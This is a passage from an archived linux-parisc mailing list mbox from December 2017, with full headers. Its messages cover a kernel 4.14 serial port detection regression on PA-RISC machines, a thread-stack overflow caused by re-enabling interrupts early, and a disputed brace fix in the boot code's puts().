> situations as well.  They seem more prevalent.  For example, I can't remember
> this happening
> with 3.18 branch.  This problem seems to be triggered by application tests
> involving multiple
> threads (glibc, gcc go and libgomp, and mariadb).
> 
> Dave
> 
> -- 
> John David Anglin  dave.anglin@bell.net
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online... (serial port missing on v4.14)
Date: Fri, 8 Dec 2017 20:06:44 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20171208190644.GA22228@ls3530.fritz.box>
References: <53815372-58e8-70e2-bab4-1777e848cf5e@web.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1512760129 8562 195.159.176.226 (8 Dec 2017 19:08:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 8 Dec 2017 19:08:49 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: debian-hppa@lists.debian.org
To: Frank Scheiner <frank.scheiner@web.de>,
        linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>,
        Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
        linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 08 20:08:39 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eNO0k-0001nS-Lp
	for glpp-linux-parisc@m.gmane.org; Fri, 08 Dec 2017 20:08:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753177AbdLHTIq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 8 Dec 2017 14:08:46 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:50542 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752521AbdLHTIl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 8 Dec 2017 14:08:41 -0500
Original-Received: from ls3530.fritz.box ([91.36.207.181]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MgXCF-1ek9wk1nlv-00Nwis; Fri, 08
 Dec 2017 20:08:09 +0100
Content-Disposition: inline
In-Reply-To: <53815372-58e8-70e2-bab4-1777e848cf5e@web.de>
X-Provags-ID: V03:K0:m6mZ8heboz0u1bFw7z2kg6zi6CcO1vImD6R/mzSFk1SeSBWuP10
 Fuczk+S9Y9carzbcs0Qok3IdfHeMuncYjGDyGrdYc4denTZBAFmoknpVsnj4OV29FYGYb4o
 ADzVXqz/Hyrxsmk9ObDFCDTCmsiW5ePijE/UB/4Qqyv/aAULdQ8Sd+OiuQ93Wc/vXDg8K5E
 /7QieksSw8Iq0XoLE5vDw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vTGmlJYm4ro=:23YahBmY9e13i6N075txbp
 yC+oqtbhpw8B9WHjFUMdtebPZZZCK+ZgH/VNO0zfEYVCm2ZgZ39W+Jmf0mTr/bL8o3cFADtV/
 NncScHNEJC3RaqyJOXNCvYvSJ/pP0QtWTz/tdqL4xq40KjeqIipAnECuSxQR8gqs7yg3/9g3D
 rcknjWkp+Pta97rYygveHexrlhDssanAk5/Uo0xte2Zrcsd5zs+54D9nEVxy5GmemZS3nfGCp
 SkvWB+nb/KLWYcJKdk8TPQ/fHG0yscffXwusZiyqma62rIFnaCUYAYsZgO88GmoK7CyV1XTB3
 0uE2jtrOMsq9wE9yBu3YmTAC+SclYslVKjayT/ZKGaWe9chzHxkgITnQGjyOYRRkVfL7UyaBi
 xr3h67Uf8/+QAVCYuhUwCdiDeZVa5dJHhrwkIqrwszLltx2/KPG/BogTxm5gxSmXRg/RostyG
 QXKS0Em+EhFb8HDTSRZp1v34EW0tUFjw0hsttXvwJP5lzTExyIz9/jnkUIwo9m/St3EkVmPPU
 kE2+E36f61SYZcLYMlKh8Tn0WL7cNZ2vtjUHhl119zvSrCjfg9V0xP3scitz8RZ5RYoGW8psp
 j5xPBMLyxiSXQQkGcI+3kBVMhpf8Jvq4DyDmSf7cryUBIi3DUxauBGGhr+MmrrokN+lANm5At
 9moP3Q2DlQq7jOnx53GwSg5CBm7NE9XYiRj+CLU/2L+S8o5+N6a66DVfqqj5v60twrDWjPWsE
 HMBKTd0Zf4162Oe6x4x5hZ3z2sXBS7OdLKtRhNHyiZUnEUkbtftvakyb6gtyD0KfgzFidIv+ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28040 gmane.linux.serial:28079 gmane.linux.debian.ports.hppa:7647
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28040>

Adding the linux-serial mailing list:

* Frank Scheiner <frank.scheiner@web.de>:
> On 12/04/2017 03:54 PM, Helge Deller wrote:
> > Anyway, the *only* problem we have right now is, that the Linux kernel 4.14 doesn't detect all serial ports which were detected in earlier kernels.
> > Thus the kernel will talk to the non-existant serial port at 0xfffffffff4050010 instead of 0xfffffffff4050000.
> > 
> > 4.13:
> > [   28.882849] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> > [   28.898720] 0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 73, base_baud = 115200) is a 16450
> > [   28.934669] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 73, base_baud = 115200) is a 16550A
> > [   28.963031] 0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 73, base_baud = 115200) is a 16550A
> > [   28.984946] 0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 73, base_baud = 115200) is a 16550A
> 
> > 
> > ...but for v4.14.x only the following serial ports are detected:
> > [   28.671984] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> > [   28.708902] 0000:e0:01.1: ttyS0 at MMIO 0xfffffffff4050000 (irq = 73, base_baud = 115200) is a 16550A
> > [   28.731145] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050010 (irq = 73, base_baud = 115200) is a 16550A
> > 
> > 
> > Maybe reverting this commit brings back the old behavior:
> > https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d8905d064058f4b65057e0101588f362f288bc0
> 
> I'm unsure about this commit, it speaks more of avoiding duplicate messages
> for device enabling.

Reverting this commit:

commit 7d8905d064058f4b65057e0101588f362f288bc0
Author: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Date:   Mon Jul 24 20:28:32 2017 +0300

    serial: 8250_pci: Enable device after we check black list

indeed fixes the problem.

After reverting, the serial port from the Diva card shows up as ttyS0 (as before).
With that patch applied, the serial port from the Diva card gets
ignored and the previous ttyS1 port becomes ttyS0 which then breaks
booting the parisc machine because the kernel expects the serial port on
ttyS1.


I'm not sure what the best way forward is.
Fact is, that the patch above changes the behaviour and serial ports
which were existant before suddenly vanish with kernel 4.14.

This following patch does work, and adds back the Diva serial port on parisc.
Not sure if it's acceptable though.

Helge

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/8250/8250_pci.c
index 0c101a7470b0..61319e968e8c 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -3393,6 +3393,10 @@ static int serial_pci_is_class_communication(struct pci_dev *dev)
 	 * (Should we try to make guesses for multiport serial devices
 	 * later?)
 	 */
+	if (IS_ENABLED(CONFIG_PARISC) &&
+	    (dev->class >> 8) == PCI_CLASS_COMMUNICATION_OTHER)
+		return 0;
+
 	if ((((dev->class >> 8) != PCI_CLASS_COMMUNICATION_SERIAL) &&
 	     ((dev->class >> 8) != PCI_CLASS_COMMUNICATION_MODEM)) ||
 	    (dev->class & 0xff) > 6)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Reduce probability of stack overflow
Date: Fri, 8 Dec 2017 21:46:35 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <27DBDD58-FAF4-4675-A282-5EDF4577A580@bell.net>
References: <0B5E3032-0DA1-457B-B32E-21B318FDB687@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1512787597 14169 195.159.176.226 (9 Dec 2017 02:46:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 9 Dec 2017 02:46:37 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
        Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 09 03:46:32 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eNV9r-0005Sp-HJ
	for glpp-linux-parisc@m.gmane.org; Sat, 09 Dec 2017 03:46:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753364AbdLICqi convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 8 Dec 2017 21:46:38 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:47459 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1753341AbdLICqh (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 8 Dec 2017 21:46:37 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20171209024636.BRSS32387.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Fri, 8 Dec 2017 21:46:36 -0500
Original-Received: from [192.168.2.25] (really [70.51.115.243]) by torspm01.bell.net
          with ESMTP
          id <20171209024636.DZXT6406.torspm01.bell.net@[192.168.2.25]>;
          Fri, 8 Dec 2017 21:46:36 -0500
In-Reply-To: <0B5E3032-0DA1-457B-B32E-21B318FDB687@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=QPOHfkDL c=1 sm=0 tr=0 a=UgMXoOu0F2skVU81nElf8A==:17 a=kj9zAlcOel0A:10 a=ocR9PWop10UA:10 a=VwQbUJbxAAAA:8 a=FBHGMhGWAAAA:8 a=dWXGK7SFYyD7ksIeAk8A:9 a=CjuIK1q_8ugA:10 a=AjGcO6oz07-iQ99wixmX:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28041>

The stack overflow problem was reintroduced by the following change:

    Merge branch 'parisc-4.10-1' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux
    
    Pull parisc updates from Helge Deller:
    
     - add Kernel address space layout randomization support
    
     - re-enable interrupts earlier now that we have a working IRQ stack

As noted below, interrupts can't be enabled early because the register saves are done on the thread stack prior
to switching to the IRQ stack.  This caused stack overflows and the thread stack needed increasing to 32k.  Even then,
stack overflows still occasionally occurred.

On 2017-11-13, at 7:35 PM, John David Anglin wrote:

> Even with a 32 kB thread stack, I have seen instances where the thread stack overflowed on the mx3210 buildd.
> Detection of stack overflow only occurs when we have an external interrupt.  When an external interrupt occurs,
> we switch to the thread stack if we are not already on a kernel stack.  Then, registers and specials are saved to
> the kernel stack.
> 
> The bug occurs in intr_return where interrupts are reenabled prior to returning from the interrupt.  This was done
> incase we need to schedule or deliver signals.  However, it introduces the possibility that multiple external interrupts
> may occur on the thread stack and cause a stack overflow.  These might not be detected and cause the kernel to
> misbehave in random ways.
> 
> This patch changes the code to only reenable interrupts when we are going to schedule or deliver signals.  As a
> result, we generally return from an interrupt before reenabling interrupts.  This minimizes the growth of the thread
> stack.
> 
> This patch conflicts with the patch proposed by Helge here:
> https://patchwork.kernel.org/patch/9970169/
> 
> In testing, I found that the thread stack can be 16 kB  when using an irq stack .  Without it, the thread stack needs
> to be 32 kB.  Currently, the irq stack is 32 kB.  While it probably could be 16 kB, I would prefer to leave it as is for
> safety.
> 
> Signed-off-by: John David Anglin <dave.anglin@bell.net>
> 
> 
> <low-stack.d.stack>
> 
> --
> John David Anglin	dave.anglin@bell.net


Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: [PATCH] parisc: Add missing curly braces in puts()
Date: Sat, 9 Dec 2017 14:45:24 +0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20171209114524.kwsvkd4ui5jei4r3@mwanda>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1512820240 17781 195.159.176.226 (9 Dec 2017 11:50:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 9 Dec 2017 11:50:40 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: linux-parisc@vger.kernel.org, kernel-janitors@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 09 12:50:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eNdeO-0004IU-6s
	for glpp-linux-parisc@m.gmane.org; Sat, 09 Dec 2017 12:50:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751268AbdLILun (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 9 Dec 2017 06:50:43 -0500
Original-Received: from userp2120.oracle.com ([156.151.31.85]:53720 "EHLO
        userp2120.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751221AbdLILun (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 9 Dec 2017 06:50:43 -0500
Original-Received: from pps.filterd (userp2120.oracle.com [127.0.0.1])
        by userp2120.oracle.com (8.16.0.21/8.16.0.21) with SMTP id vB9BlDaw058135;
        Sat, 9 Dec 2017 11:50:34 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com; h=date : from : to : cc
 : subject : message-id : mime-version : content-type; s=corp-2017-10-26;
 bh=ns2rPVrskMngkT5wQ4jj2kohRQs3xzVBn62CrysvnOY=;
 b=G54qcQWqbAnYR7kUQrNm/zOJtpayK5s7VYgRmEOwbMoyskaPAq/cIQ7J0p7FP/fZydf2
 YFGxixmYYFWrAPQblMfI5usABVnFuwKVQUjft3JFCHAOvh302oWN0deaisA+Q2HRcZvs
 n8FSNSSJgOBCMZM2+iVgsZBL71zO+W1NGmlsL0YrBdbviTPgnFvRkPPSTpxw38x+0zTe
 gmXhjqglNxUyVdADj8x8mQzpFHEnLh0Bi6VS4LnC0RKBzT2bcqfyoZjeOLjoYevNvXQQ
 O5guIHhRdUFuqXzEYHqWd87OBW2I0MaGte+MHMqZkokxysBWwKAII3GwD4fYj2w9OxjD DA== 
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by userp2120.oracle.com with ESMTP id 2erf7qg0au-1
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
        Sat, 09 Dec 2017 11:50:34 +0000
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id vB9BjXmB014739
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Sat, 9 Dec 2017 11:45:33 GMT
Original-Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id vB9BjXon005416;
        Sat, 9 Dec 2017 11:45:33 GMT
Original-Received: from mwanda (/197.157.34.162)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Sat, 09 Dec 2017 03:45:32 -0800
Content-Disposition: inline
X-Mailer: git-send-email haha only kidding
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8739 signatures=668644
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=783
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1711220000 definitions=main-1712090168
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28042 gmane.linux.kernel.janitors:50003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28042>

Static analysis tools complain that we intended to have curly braces
around this indent block.  Which is true.

Fixes: 2f3c7b8137ef ("parisc: Add core code for self-extracting kernel")
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>

diff --git a/arch/parisc/boot/compressed/misc.c b/arch/parisc/boot/compressed/misc.c
index 9345b44b86f0..432d33804a86 100644
--- a/arch/parisc/boot/compressed/misc.c
+++ b/arch/parisc/boot/compressed/misc.c
@@ -121,10 +121,11 @@ int puts(const char *s)
 	const char *nuline = s;
 
 	while ((nuline = strchr(s, '\n')) != NULL) {
-		if (nuline != s)
+		if (nuline != s) {
 			pdc_iodc_print(s, nuline - s);
 			pdc_iodc_print("\r\n", 2);
 			s = nuline + 1;
+		}
 	}
 	if (*s != '\0')
 		pdc_iodc_print(s, strlen(s));
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [PATCH] parisc: Add missing curly braces in puts()
Date: Sat, 9 Dec 2017 16:22:31 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <b9dec23a-cf0f-9aac-fa5d-4a201eafb38c@gmx.de>
References: <20171209114524.kwsvkd4ui5jei4r3@mwanda>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1512832960 29649 195.159.176.226 (9 Dec 2017 15:22:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 9 Dec 2017 15:22:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: linux-parisc@vger.kernel.org, kernel-janitors@vger.kernel.org
To: Dan Carpenter <dan.carpenter@oracle.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 09 16:22:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eNgxX-0007Xw-1N
	for glpp-linux-parisc@m.gmane.org; Sat, 09 Dec 2017 16:22:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751251AbdLIPWk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 9 Dec 2017 10:22:40 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:58085 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751221AbdLIPWj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 9 Dec 2017 10:22:39 -0500
Original-Received: from [192.168.20.60] ([193.159.26.22]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MUILK-1eVpuK0rZK-00R34v; Sat, 09
 Dec 2017 16:22:34 +0100
In-Reply-To: <20171209114524.kwsvkd4ui5jei4r3@mwanda>
Content-Language: en-US
X-Provags-ID: V03:K0:ZRo5tUYmrEuqFOcyhpA38daWzCyXRyT+zJi3ayiivUHeBXf7trj
 igFk/dh46oTWF2gH3CNKqLV8uwHvWD2c5QN8UpbSCipRD4DkeFJlQpO+p2y3g8FMCpyqlhs
 R8HiuIwzp8DeWjIpDW9Bjwu7icU9uWN1vg+wLn1qKlIAJIoyu19h8eG71W8YfMnEt6DWDF3
 uw0ydnHqxqCsjdh3kJiXQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zl9UQdnff20=:LONcKZlDJzlieTq2aueqTV
 3np644W8ZlqJrjVEzvEMAUpi1etQNiivyugXyY3CSA/LtFJyFVJJMT6So6192sgnsVU3Ig/rT
 zPjWWfypYrmrcUecudemKkLjyEjDku/1UvMe54qRmF4n5f6bkD2sBsLwjotAnDoApaM68nW0q
 H0BMooiwxKC53tQecMKN3sOFIAkJX9gHEMGFxnbDUqY2gj8q47LbP2H0970H9ikPWG+5JgeB8
 RO1c6aJNJbukXXb9yyiZmupW00zsNCQMNTR9310vvvF98QkyktCi27yOdjGjgEw/Nqg81ifYy
 S3qAIIq54pen9O53nOf9/7dx66XbdrQGNgqFzCOKEsIEnaZkkKJjV0mHTKYx4N2lHNRS0gAUL
 O716ga0BOH3dfmDlZNWI/9lhaMse6On1X56IMKLFinN+D/FYjswm50HwH8/focNsUYuwPswTC
 xNSZGo1YszYjX3t2zmqWxUDwe6GcICvdUsgU4MmmnCj2p2R5EbEhMlpKT9+lNaPH0+ZqYn2zt
 LtdjsXp18NNPlcDY6wsqmR9BMIztn3XD9WRxnSfmhB07D3dvzvs15tuZxx/hMs10hwldir8Oj
 lgIrFmqqTPG754j27wZM3p/GzNYRAZFeJxuPhiptubJWmiXAJNG534jGkVB8Dg0iTKGU3DAHu
 IFnIRFaTiyrCX5jIyw3sSTGN5HtAa+zbbTAwwRWnaof1vQhDvoXXvuNPTmIh8OBprHKG2X7pM
 yt2uvhqtyhuyBnIi5IUUx/TJTWW7Za2tkj5JfnbqMs6mZruFLh1n7mlr38pyh3pTXHEDx1fr 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28043 gmane.linux.kernel.janitors:50010
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28043>

On 09.12.2017 12:45, Dan Carpenter wrote:
> Static analysis tools complain that we intended to have curly braces
> around this indent block.  Which is true.

No, it's not.
I think the existing indenting is simply wrong and thus the static 
analysis tool assumes it wrongly.
I'll check and fix either way.

Helge
 
> Fixes: 2f3c7b8137ef ("parisc: Add core code for self-extracting kernel")
> Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
> 
> diff --git a/arch/parisc/boot/compressed/misc.c b/arch/parisc/boot/compressed/misc.c
> index 9345b44b86f0..432d33804a86 100644
> --- a/arch/parisc/boot/compressed/misc.c
> +++ b/arch/parisc/boot/compressed/misc.c
> @@ -121,10 +121,11 @@ int puts(const char *s)
>  	const char *nuline = s;
>  
>  	while ((nuline = strchr(s, '\n')) != NULL) {
> -		if (nuline != s)
> +		if (nuline != s) {
>  			pdc_iodc_print(s, nuline - s);
>  			pdc_iodc_print("\r\n", 2);
>  			s = nuline + 1;
> +		}
>  	}
>  	if (*s != '\0')
>  		pdc_iodc_print(s, strlen(s));
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online...
Date: Sat, 9 Dec 2017 22:03:00 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <ccca0165-6c4a-97f3-2e0b-00657948c775@gmx.de>
References: <2ADB5C8A-DFEB-4CA5-92BA-96E459A3575E@bell.net>
 <8314a5d6-7df7-3282-0d91-a9b414a122e0@web.de>
 <526274E4-88D8-4DF8-8F74-5B775186BBEC@bell.net>
 <cc22ee64-e9f3-aeb4-a9a0-a503f20f9634@web.de>
 <48320506-f7fa-822b-fb45-40eab1dbda02@bell.net>
 <17707adb-4f71-1d66-2a19-3cdfaff047f3@gmx.de>
 <53815372-58e8-70e2-bab4-1777e848cf5e@web.de>
 <79c110ec-2975-a827-4b9d-1351ab77779b@gmx.de>
 <d3c1e035-6486-c0b5-e87a-22d26c0c95f5@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------3C1AED33775088403FE66C0B"
X-Trace: blaine.gmane.org 1512853386 12156 195.159.176.226 (9 Dec 2017 21:03:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 9 Dec 2017 21:03:06 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: debian-hppa@lists.debian.org
To: John David Anglin <dave.anglin@bell.net>,
        Frank Scheiner <frank.scheiner@web.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 09 22:03:02 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eNmGy-0006Lw-R0
	for glpp-linux-parisc@m.gmane.org; Sat, 09 Dec 2017 22:03:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751263AbdLIVDI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 9 Dec 2017 16:03:08 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:49323 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751243AbdLIVDH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 9 Dec 2017 16:03:07 -0500
Original-Received: from [192.168.20.60] ([193.159.26.22]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M4GRv-1fFSr82Ddj-00rncN; Sat, 09
 Dec 2017 22:03:01 +0100
In-Reply-To: <d3c1e035-6486-c0b5-e87a-22d26c0c95f5@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K0:sKWbfEBnlvmyI14bAO0TAunSfNASuGx0jCXTNW5pz6CMYnrXizv
 CGYzq76awIR02BfudteB4e95vPAlzwZjOFuE26kQoGcvaW/w8B2SOlDPcNJEH+divMFsNT3
 8L8FTDoWuYuKb4AZ29AHAKU15diqKahBDAZkd+llwms06jy8bVFJE7scoJVjyXnq4S4VEBV
 mslsZokKCaoJ4i1EDqxNw==
